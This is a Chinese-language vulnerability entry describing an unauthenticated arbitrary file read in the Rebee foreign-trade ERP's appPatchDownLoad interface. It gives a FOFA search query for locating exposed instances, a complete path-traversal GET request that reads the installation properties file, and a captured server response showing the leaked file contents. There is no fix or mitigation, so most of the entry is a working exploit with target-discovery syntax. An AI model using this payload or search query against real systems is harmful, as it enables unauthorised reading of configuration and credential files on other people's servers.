R16-1睿贝-外贸ERP软件-任意文件读取

漏洞描述：

睿贝外贸ERP appPatchDownLoad 接口处存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

网站图片：

网络测绘：

fofa语法：

body="loginNeedMobileNumVerification" || body="睿贝软件"

漏洞复现：

payload：

```
GET /appPatchDownLoad?fileName=../../../../RebeeCRM/_RebeeCRM_installation/installvariables.properties HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Connection: close
Accept-Encoding: gzip, deflate
```

效果图:
读取系统配置文件

Request

数据包扫描 美化 热加载 构造请求

```
GET /appPatchDownLoad?fileName=../../../../RebeeCRM/_RebeeCRM_installation/installvariables.properties HTTP/1.1
Host : 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Connection: close
Accept-Encoding: gzip, deflate
```

Responses 4728bytes / 192ms

```
HTTP/1.1 200
Content-Disposition: attachment; f
Content-Type: application/octet-st
Date: Fri, 12 Apr 2024 14:28:10 GM
Connection: close
Content-Length: 4728

#These are properties serialized f
#Tue Dec 17 11:01:49 CST 2019
IA_CLASSPATH=
DESKTOP=C\:\\Users\\Administrator\
WIN_COMMON_STARTUP=C\:\\ProgramDat
INSTALLER_JDK_HOME=
MAC_APPLE_MENU=
INSTALL_DRIVE_ROOT=D\:\\
SYSTEM=C\:\\Windows\\SysWOW64
PRODUCT_ID=ceac2f79-1f08-11b2-b289
EMPTY_STRING=
PROGRAMS_DIR_32=C\:\\Program Files
UNIX_OPT=
OVERWRITE_IA_CHMOD=false
DEPENDENCY_SUCCESSES=
DEPENDENCY_REPORT=
COMMA=,
PRODUCT_NAME=RebeeCRM
DEPENDENCY_FAILURES=
INSTALL_SUCCESS=WARNING
REQUIRED_DISK_SPACE_BYTES=72581328
SYSTEM_32=C\:\\Windows\\SysWOW64
FREE_DISK_SPACE_MEGABYTES=827399
CHOSEN_INSTALL_FEATURE_NUM=2
-fileOverwrite_D\\\:\\\\RebeeCRM\\
```